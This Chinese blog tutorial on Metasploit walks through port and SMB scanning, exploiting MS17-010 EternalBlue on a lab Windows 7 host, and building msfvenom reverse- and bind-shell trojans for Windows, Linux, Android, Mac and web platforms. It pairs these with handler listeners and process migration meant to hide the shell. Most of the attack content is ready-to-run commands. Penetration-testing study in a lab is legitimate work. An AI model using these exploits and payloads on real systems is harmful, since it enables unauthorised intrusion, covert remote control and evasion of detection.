Metasploit基础----msfconsole

Metasploit基础

1. Metasploit前置知识

1.1 MetaSploit简介

Metasploit是⼀款开源安全漏洞检测⼯具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区 冠以“可以⿊掉整个宇宙”之名的强⼤渗透测试框架。

Metasploit渗透测试框架包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate⽤于软件更 新,建议使⽤前先进⾏更新,可以更新最新的漏洞库和利⽤代码。msfconsole是整个框架中最受欢迎的 模块,个⼈感觉也是功能强⼤的模块,所有的功能都可以该模块下运⾏。msfweb是Metasploit framework的web组件⽀持多⽤户,是Metasploit图形化接⼝。

msfconsole是MSF中最主要最常⽤的功能组件,使⽤集成化的使⽤⽅法,可以使⽤MSF中的所有命令和 模块,⽀持很多其它接⼝⽅式不⽀持的功能。

⾮kali环境下更新升级MSF:

msfupdate #MSF后期更新升级

kali环境下更新升级MSF:

由于kali中的Metasploit渗透测试框架是集成在系统中的,不是单独安装,不⽀持使⽤msfupdate命令更 新,更新的话需要随系统程序更新。在kali中更新MSF使⽤以下命令:

apt update # 更新安装包信息;只检查,不更新(已安装的软件包是否有可⽤的更
新,给出汇总报告)
apt upgrade # 更新已安装的软件包,不删除旧包;
apt full-upgrade # 升级包,删除旧包

使⽤上⾯命令,是在更新系统程序的同时,把MSF更新。

1.2 启动 msfconsole

⽅式1:

service postgresql start   #开启 postgresql 数据库
msfconsole                 #启动 msfconsole

⽅式2:快捷启动命令(推荐)

msfdb run #可以同时启动 postgresql 数据库和 msf

image-20240823143042243

1.3 MSF的功能模块介绍

MSF所⽤功能主要可分为这⼏个模块,每个模块都有各⾃的功能领域,形成了渗透测试的流程

模块路径:/usr/share/metasploit-framework/modules/

image-20240823142631751

漏洞利⽤(exploit):/usr/share/metasploit-framework/modules/exploits

payload模块路径::/usr/share/metasploit-framework/modules/payloads

2.实战-msf端⼝扫描

2.1 Metasploit

Metasploit中也有NMAP⼯具

db_nmap sV 192.168.220.163

2.2 端⼝扫描

除了nmap外,msf⾃带了端⼝扫描模块以供使⽤。相关命令如下:

# 这些我们前⾯就学习过的TCP扫描相关内容,其他的是⼀些应⽤的扫描。

# 查看配置项msf6
use auxiliary/scanner/portscan/syn

# 查看参数设置,yes为必填参数
show options

# 设置扫描的⽬标msf6
set RHOSTS 192.168.220.163

# 设置端⼝范围使⽤逗号隔开、
set PORTS 80
show options

# 设置线程数msf6
set THREADS 20
run

参数:

image-20240823145125411

运行端口扫描:

image-20240823151118061

# 退出⼀下
back

image-20240823151131895

2.3. SMB版本扫描

使⽤smb_version 基于SMB协议扫描版本号

use auxiliary/scanner/smb/smb_version
show options

# 注:192.168.1.56后⾯的逗号和192.168.1.180之间是有空格的
set RHOSTS 192.168.1.56, 192.168.1.180

run

扫描后获取的信息都会保存到当前数据库中,可使⽤hosts查看,相关命令如下:

hosts

image-20240823152448815

3. 实战-使⽤msf渗透攻击ms17-010

环境

Windows7 IP:192.168.197.140

Linux KALI IP:192.168.197.135

3.1 使⽤辅助模块进⾏漏洞扫描

─# msfdb run #进⼊msf
msf6 > search ms17_010

image-20240823153043475

使⽤模块,进⾏配置

msf6 > use auxiliary/scanner/smb/smb_ms17_010 	# 使⽤模块或者使⽤use 1
show options 									# 查看配置
set rhost 192.168.197.140 						# 配置rhosts 受害者IP地址
Required栏为yes的是我们需要配置的,no是可选项

image-20240823153405980

执⾏ / 开始攻击

exploit #或者run命令执⾏攻击

image-20240823153430122

注:有+号的就是可能存在漏洞的主机

3.2 切换Exploit模块进行利用

serach ms17_010 									# 搜索模块
use exploit/windows/smb/ms17_010_eternalblue 		# 使⽤攻击模块
show options			 							# 查看配置
set rhosts 192.168.197.140 							# 设置受害者IP
set lhost 192.168.197.135 							#设置反弹ip  攻击机的IP默认指定就不用配置
show targets 										#查看 exploit target ⽬标类型
run

image-20240823152855598

getuid 查看权限
shell 进⼊终端
成功利⽤

image-20240823154043029

解决中文乱码
chcp 65001

4.实战-利用msfvenom生成各种木马

4.1. Msfvenom常⽤命令参数

主要使⽤的是Msfvenom,这个需要在终端中执⾏,⽽不是在msf⾥⾯执⾏,msfvenom主要⽤于⽣成⽊⻢

-l, --list <type> 列出指定模块的所有可⽤资源. 模块类型包括: payloads, encoders,nops,......all
-p, --payload < payload> 指定需要使⽤的payload(攻击荷载)。也可以使⽤⾃定义payload,⼏乎是⽀持全平台的
-f, --format < format> 指定输出格式
-e, --encoder <encoder> 指定需要使⽤的encoder(编码器),指定需要使⽤的编码,如果既没⽤-e选项也没⽤-b选项,则输出raw payload
-a, --arch < architecture> 指定payload的⽬标架构,例如x86 还是 x64 还是 x86_64
-o, --out < path> 指定创建好的payload的存放位置
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使⽤ '\x0f'、'\x00'
-n, --nopsled < length> 为payload预先指定⼀个NOP滑动⻓度
-s, --space < length> 设定有效攻击荷载的最⼤⻓度,就是⽂件⼤⼩
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定⼀个附加的win32 shellcode⽂件
-x, --template < path> 指定⼀个⾃定义的可执⾏⽂件作为模板,并将payload嵌⼊其中
-k, --keep 保护模板程序的动作,注⼊的payload作为⼀个新的进程运⾏
-v, --var-name < value> 指定⼀个⾃定义的变量,以确定输出格式
-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁⽤)
-h,--help 查看帮助选项
--platform < platform> 指定payload的⽬标平台

4.2 生成windows的反弹shell程序

kali⽣成⽊⻢

修改lhost 为kali攻击机的ip,lport 为kali攻击机的端⼝。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.135 lport=4444 -f exe >rsec.exe
#下载
sz rsec.exe

kali攻击机开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp  #设置payload类型,与msfvenom中的类型要⼀致。
set lhost 192.168.197.135 						 #设置主机地址
set lport 4444 									 #设置端⼝号
run 

image-20240823155515132

对⽅执⾏程序之后就会把shell反弹过来

image-20240823155738287

4.3. 生成windows的正向shell

生成

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f exe > bind_4444.exe

image-20240823155944718

下载到靶机或者拖到靶机里面

sz bind_4444.exe

开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp 	#设置payload类型,与msfvenom中的类型要⼀致。
set lport 4444
set rhost 192.168.197.140 						#设置靶机ip
set autorunscript migrate -n explorer.exe 		#设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
run

image-20240823160447214

4.4 生成linux正向、反向木马

1)linux反向

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.135 LPORT=4444 -f elf > shell.elf

生成后放到靶机里

监听

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp 	#设置payload类型,与msfvenom中的类型要⼀致。
set lhost 192.168.220.141 						#设置主机地址
set lport 4444 									#设置端⼝号
run  				 							#开启监听

image-20240823161532116

2)linux正向

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf > shell4444.elf

生成后放到靶机里

在靶机给木马加执行权限

chmod +x shell.elf

执行后查看是否开启4444端口

netstat -pantu |grep 4444

监听

use exploit/multi/handler
#设置payload类型,与msfvenom中的类型要⼀致。
set payload linux/x86/meterpreter/bind_tcp 
set lport 4444
#设置靶机ip
set rhost 192.168.197.141 
#设置⾃动迁移进程,这样在进程⾥⾯就找不到shell的进程了,将进程迁移到桌⾯进程⾥⾯
set autorunscript migrate -n explorer.exe
#执行 
run

image-20240823172955891

PS:监听不到把防火墙关了即可

4.5.安卓⻢

实验环境安卓7,且⽬前的安卓11以上⽆法直接安装。

V7.0.1.5版本介绍 | 夜神模拟器帮助中心 (yeshen.com)

V7.0.1.5版本整合了安卓9(64位)、安卓7(64位)、安卓7以及安卓5玩家只需要下载V7.0.1.5版本,即可从多开器中创建任意版本

image-20240823164241207

⽣成反向安卓⻢

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.197.135 lport=5555 R > /root/apk.apk

上传到模拟器

image-20240823164713921

监听

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.197.135
set LPORT 5555

image-20240823164925244

4.6. Payload类型

当我们在Metasploit中执⾏ show payloads 命令之后,它会给我们显示⼀个可使⽤的Payload列表:

image-20240823165222738

⼏种常⻅的payload:

windows/meterpreter/bind_tcp #正向连接
windows/meterpreter/reverse_tcp #反向连接,常⽤
windows/meterpreter/reverse_http #通过监听80端⼝反向连接
windows/meterpreter/reverse_https #通过监听443端⼝反向连接
linux/x86/meterpreter/bind_tcp #正向连接
linux/x86/meterpreter/reverse_tcp #反向连接,常⽤#
linux/x86/meterpreter_reverse_http #通过监听80端⼝反向连接
linux/x86/meterpreter_reverse_https #通过监听443端⼝反向连接

进⼊handler模块后通过set payload 按tab键补⻬可以查看需要的payload

use exploit/multi/handler
set payload linux/x86/

5. msfvenom常⻅⽣成格式

1、 Windows

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.141 lport=4444 -f exe >rsec.exe

2、Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf

3、Mac

msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py

10、Shellcode

//linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=444
4 --platform Linux -f c
//windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -
-platform Windows -f c
//mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.53 LPORT=4444 --plat
form osx -f c
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值